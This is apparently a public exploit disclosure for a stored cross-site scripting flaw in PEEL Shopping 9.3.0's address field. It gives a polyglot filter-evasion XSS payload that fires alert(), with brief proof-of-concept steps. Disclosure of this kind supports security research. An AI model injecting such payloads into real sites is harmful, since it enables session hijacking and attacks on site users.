PEEL Shopping 9.3.0 - 'address' Stored Cross-Site Scripting

# Exploit Title: PEEL Shopping 9.3.0 - 'address' Stored Cross-Site Scripting
# Date: 2021-02-11
# Exploit Author: Anmol K Sachan
# Vendor Homepage: https://www.peel.fr/
# Software Link: https://sourceforge.net/projects/peel-shopping/
# Software: : PEEL SHOPPING 9.3.0
# Vulnerability Type: Stored Cross-site Scripting
# Vulnerability: Stored XSS
# Tested on Windows 10 XAMPP
# This application is vulnerable to Stored XSS vulnerability.
# Vulnerable script: http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php
# Vulnerable parameters: 'Address'
# Payload used: 

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

# POC: in the same page where we injected payload click on the text box to edit the address.
# You will see your Javascript code (XSS) executed.